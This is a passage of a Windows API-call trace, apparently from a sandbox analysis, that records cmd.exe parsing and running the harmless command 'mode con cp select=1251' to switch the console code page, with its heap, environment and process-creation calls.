_String2="mode") returned -7 [0109.458] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0109.458] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0109.458] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0109.458] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0109.458] GetProcessHeap () returned 0x2dc22640000 [0109.458] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xb0) returned 0x2dc22648320 [0109.458] GetProcessHeap () returned 0x2dc22640000 [0109.458] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x1a) returned 0x2dc22646a80 [0109.459] GetProcessHeap () returned 0x2dc22640000 [0109.459] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x38) returned 0x2dc22641850 [0109.459] GetConsoleOutputCP () returned 0x1b5 [0109.580] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65bbffbb0 | out: lpCPInfo=0x7ff65bbffbb0) returned 1 [0109.580] SetThreadUILanguage (LangId=0x0) returned 0x409 [0109.663] GetConsoleTitleW (in: lpConsoleTitle=0xf4e00ff720, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0109.675] malloc (_Size=0xffce) returned 0x2dc22830840 [0109.676] ??_V@YAXPEAX@Z () returned 0x2dc22830840 [0109.676] malloc (_Size=0xffce) returned 0x2dc22840820 [0109.677] ??_V@YAXPEAX@Z () returned 0x2dc22840820 [0109.677] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0109.677] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0109.677] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0109.677] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0109.677] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0109.677] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0109.677] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0109.677] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0109.677] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0109.677] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0109.677] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0109.677] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0109.678] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0109.678] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0109.678] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0109.678] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0109.678] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0109.678] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0109.678] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0109.678] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0109.678] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0109.678] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0109.678] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0109.678] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0109.678] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0109.678] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0109.678] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0109.678] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0109.678] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0109.678] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0109.678] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0109.678] _wcsicmp (_String1="mode", _String2="START") returned -6 [0109.678] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0109.678] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0109.678] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0109.678] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0109.678] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0109.678] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0109.678] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0109.678] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0109.678] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0109.678] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0109.678] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0109.678] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0109.678] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0109.678] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0109.678] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0109.679] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0109.679] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0109.679] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0109.679] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0109.679] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0109.679] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0109.679] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0109.679] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0109.679] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0109.679] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0109.679] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0109.679] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0109.679] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0109.679] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0109.679] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0109.679] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0109.679] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0109.679] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0109.679] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0109.679] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0109.679] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0109.679] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0109.679] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0109.679] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0109.679] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0109.679] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0109.679] _wcsicmp (_String1="mode", _String2="START") returned -6 [0109.679] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0109.679] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0109.679] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0109.679] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0109.679] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0109.679] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0109.679] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0109.679] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0109.680] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0109.680] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0109.680] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0109.680] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0109.680] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0109.680] ??_V@YAXPEAX@Z () returned 0x1 [0109.680] GetProcessHeap () returned 0x2dc22640000 [0109.680] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xffde) returned 0x2dc22648fe0 [0109.681] GetProcessHeap () returned 0x2dc22640000 [0109.681] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x42) returned 0x2dc226483e0 [0109.681] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0109.681] malloc (_Size=0xffce) returned 0x2dc22840820 [0109.681] ??_V@YAXPEAX@Z () returned 0x2dc22840820 [0109.681] GetProcessHeap () returned 0x2dc22640000 [0109.681] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x1ffac) returned 0x2dc22658fd0 [0109.765] SetErrorMode (uMode=0x0) returned 0x0 [0109.766] SetErrorMode (uMode=0x1) returned 0x0 [0109.766] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2dc22658fe0, lpFilePart=0xf4e00fefa0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xf4e00fefa0*="Desktop") returned 0x17 [0109.766] SetErrorMode (uMode=0x0) returned 0x1 [0109.766] GetProcessHeap () returned 0x2dc22640000 [0109.766] RtlReAllocateHeap (Heap=0x2dc22640000, Flags=0x0, Ptr=0x2dc22658fd0, Size=0x4a) returned 0x2dc22658fd0 [0109.766] GetProcessHeap () returned 0x2dc22640000 [0109.766] RtlSizeHeap (HeapHandle=0x2dc22640000, Flags=0x0, MemoryPointer=0x2dc22658fd0) returned 0x4a [0109.766] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0109.766] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0109.766] GetProcessHeap () returned 0x2dc22640000 [0109.766] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x1bc) returned 0x2dc22646c30 [0109.766] GetProcessHeap () returned 0x2dc22640000 [0109.766] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x368) returned 0x2dc22659030 [0109.774] GetProcessHeap () returned 0x2dc22640000 [0109.774] RtlReAllocateHeap (Heap=0x2dc22640000, Flags=0x0, Ptr=0x2dc22659030, Size=0x1be) returned 0x2dc22659030 [0109.774] GetProcessHeap () returned 0x2dc22640000 [0109.774] RtlSizeHeap (HeapHandle=0x2dc22640000, Flags=0x0, MemoryPointer=0x2dc22659030) returned 0x1be [0109.774] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0109.774] GetProcessHeap () returned 0x2dc22640000 [0109.774] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xe8) returned 0x2dc22646e00 [0109.775] GetProcessHeap () returned 0x2dc22640000 [0109.775] RtlReAllocateHeap (Heap=0x2dc22640000, Flags=0x0, Ptr=0x2dc22646e00, Size=0x7e) returned 0x2dc22646e00 [0109.775] GetProcessHeap () returned 0x2dc22640000 [0109.775] RtlSizeHeap (HeapHandle=0x2dc22640000, Flags=0x0, MemoryPointer=0x2dc22646e00) returned 0x7e [0109.776] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0109.776] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xf4e00fed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4e00fed10) returned 0xffffffffffffffff [0109.776] GetLastError () returned 0x2 [0109.776] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0109.776] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xf4e00fed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4e00fed10) returned 0xffffffffffffffff [0109.819] GetLastError () returned 0x2 [0109.819] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0109.819] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xf4e00fed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4e00fed10) returned 0x2dc22646e90 [0109.819] GetProcessHeap () returned 0x2dc22640000 [0109.820] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x0, Size=0x28) returned 0x2dc22641890 [0109.820] FindClose (in: hFindFile=0x2dc22646e90 | out: hFindFile=0x2dc22646e90) returned 1 [0109.820] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xf4e00fed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf4e00fed10) returned 0x2dc22646e90 [0109.820] GetProcessHeap () returned 0x2dc22640000 [0109.820] RtlReAllocateHeap (Heap=0x2dc22640000, Flags=0x0, Ptr=0x2dc22641890, Size=0x8) returned 0x2dc22641890 [0109.820] FindClose (in: hFindFile=0x2dc22646e90 | out: hFindFile=0x2dc22646e90) returned 1 [0109.820] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0109.820] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0109.820] ??_V@YAXPEAX@Z () returned 0x1 [0109.820] GetConsoleTitleW (in: lpConsoleTitle=0xf4e00ff290, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0109.842] GetProcessHeap () returned 0x2dc22640000 [0109.842] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x21c) returned 0x2dc22659200 [0109.842] GetConsoleTitleW (in: lpConsoleTitle=0x2dc22659210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0109.855] GetProcessHeap () returned 0x2dc22640000 [0109.855] RtlReAllocateHeap (Heap=0x2dc22640000, Flags=0x0, Ptr=0x2dc22659200, Size=0xaa) returned 0x2dc22659200 [0109.855] GetProcessHeap () returned 0x2dc22640000 [0109.855] RtlSizeHeap (HeapHandle=0x2dc22640000, Flags=0x0, MemoryPointer=0x2dc22659200) returned 0xaa [0109.855] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0109.863] GetProcessHeap () returned 0x2dc22640000 [0109.863] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22659200) returned 1 [0109.863] InitializeProcThreadAttributeList (in: lpAttributeList=0xf4e00ff1b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xf4e00ff0a0 | out: lpAttributeList=0xf4e00ff1b0, lpSize=0xf4e00ff0a0) returned 1 [0109.866] UpdateProcThreadAttribute (in: lpAttributeList=0xf4e00ff1b0, dwFlags=0x0, Attribute=0x60001, lpValue=0xf4e00ff08c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xf4e00ff1b0, lpPreviousValue=0x0) returned 1 [0109.866] GetStartupInfoW (in: lpStartupInfo=0xf4e00ff140 | out: lpStartupInfo=0xf4e00ff140*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0109.866] GetProcessHeap () returned 0x2dc22640000 [0109.866] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x20) returned 0x2dc22646e90 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0109.866] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0109.867] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0109.867] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0109.867] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0109.867] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0109.867] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0109.867] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0109.867] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0109.867] GetProcessHeap () returned 0x2dc22640000 [0109.867] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22646e90) returned 1 [0109.867] GetProcessHeap () returned 0x2dc22640000 [0109.867] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0x12) returned 0x2dc22646e90 [0109.867] _get_osfhandle (_FileHandle=1) returned 0x254 [0109.867] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0109.867] _get_osfhandle (_FileHandle=0) returned 0x248 [0109.867] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0109.867] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xf4e00ff0d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xf4e00ff0a8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0xf4e00ff0a8*(hProcess=0x98, hThread=0x94, dwProcessId=0xdcc, dwThreadId=0xf78)) returned 1 [0111.179] CloseHandle (hObject=0x94) returned 1 [0111.179] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0111.179] GetProcessHeap () returned 0x2dc22640000 [0111.179] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22648500) returned 1 [0111.179] GetEnvironmentStringsW () returned 0x2dc226484c0* [0111.179] GetProcessHeap () returned 0x2dc22640000 [0111.179] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xacc) returned 0x2dc22659520 [0111.179] FreeEnvironmentStringsA (penv="=") returned 1 [0111.179] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0111.179] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0111.179] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xf4e00fe5a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xf4e00fe5a8, ReturnLength=0x0) returned 0x0 [0111.180] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x989d2a5000, lpBuffer=0xf4e00fe5e0, nSize=0x7a0, lpNumberOfBytesRead=0xf4e00fe5a0 | out: lpBuffer=0xf4e00fe5e0*, lpNumberOfBytesRead=0xf4e00fe5a0*=0x7a0) returned 1 [0111.180] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0127.060] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xf4e00ff028 | out: lpExitCode=0xf4e00ff028*=0x0) returned 1 [0127.060] CloseHandle (hObject=0x98) returned 1 [0127.060] _vsnwprintf (in: _Buffer=0xf4e00ff1f8, _BufferCount=0x13, _Format="%08X", _ArgList=0xf4e00ff038 | out: _Buffer="00000000") returned 8 [0127.060] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0127.060] GetProcessHeap () returned 0x2dc22640000 [0127.060] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22659520) returned 1 [0127.061] GetEnvironmentStringsW () returned 0x2dc22659520* [0127.061] GetProcessHeap () returned 0x2dc22640000 [0127.061] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xaf2) returned 0x2dc2265a020 [0127.061] FreeEnvironmentStringsA (penv="=") returned 1 [0127.061] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0127.062] GetProcessHeap () returned 0x2dc22640000 [0127.062] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc2265a020) returned 1 [0127.062] GetEnvironmentStringsW () returned 0x2dc22659520* [0127.062] GetProcessHeap () returned 0x2dc22640000 [0127.062] RtlAllocateHeap (HeapHandle=0x2dc22640000, Flags=0x8, Size=0xaf2) returned 0x2dc2265a020 [0127.062] FreeEnvironmentStringsA (penv="=") returned 1 [0127.062] GetProcessHeap () returned 0x2dc22640000 [0127.062] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22646e90) returned 1 [0127.062] DeleteProcThreadAttributeList (in: lpAttributeList=0xf4e00ff1b0 | out: lpAttributeList=0xf4e00ff1b0) [0127.062] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0127.082] ??_V@YAXPEAX@Z () returned 0x1 [0127.082] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.082] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0127.082] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.082] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65bbffc08 | out: lpMode=0x7ff65bbffc08) returned 0 [0127.082] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.082] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65bbffc0c | out: lpMode=0x7ff65bbffc0c) returned 0 [0127.082] GetConsoleOutputCP () returned 0x4e3 [0127.096] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65bbffbb0 | out: lpCPInfo=0x7ff65bbffbb0) returned 1 [0127.096] SetThreadUILanguage (LangId=0x0) returned 0x409 [0127.103] GetProcessHeap () returned 0x2dc22640000 [0127.103] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22646e00) returned 1 [0127.103] GetProcessHeap () returned 0x2dc22640000 [0127.103] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22659030) returned 1 [0127.103] GetProcessHeap () returned 0x2dc22640000 [0127.103] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22646c30) returned 1 [0127.103] GetProcessHeap () returned 0x2dc22640000 [0127.103] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22658fd0) returned 1 [0127.103] GetProcessHeap () returned 0x2dc22640000 [0127.104] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc226483e0) returned 1 [0127.104] GetProcessHeap () returned 0x2dc22640000 [0127.104] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22648fe0) returned 1 [0127.104] GetProcessHeap () returned 0x2dc22640000 [0127.104] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22641850) returned 1 [0127.104] GetProcessHeap () returned 0x2dc22640000 [0127.104] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22646a80) returned 1 [0127.104] GetProcessHeap () returned 0x2dc22640000 [0127.104] RtlFreeHeap (HeapHandle=0x2dc22640000, Flags=0x0, BaseAddress=0x2dc22648320) returned 1 [0127.104] _vsnwprintf (in: _Buffer=0x7ff65bc07f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf4e00ff5d8 | out: _Buffer="\r\n") returned 2 [0127.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.104] GetFileType (hFile=0x254) returned 0x3 [0127.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.104] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0127.104] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65bbf9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf4e00ff5a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65bbf9970*, lpNumberOfBytesWritten=0xf4e00ff5a8*=0x2, lpOverlapped=0x0) returned 1 [0127.104] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65bbfbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0127.104] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2dc22810080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0127.104] _vsnwprintf (in: _Buffer=0x2dc22820060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xf4e00ff5e8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0127.104] _vsnwprintf (in: _Buffer=0x2dc2282008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xf4e00ff5e8 | out: _Buffer=">") returned 1 [0127.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.104] GetFileType (hFile=0x254) returned 0x3 [0127.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.104] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff65bbf9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0127.104] WriteFile (in: 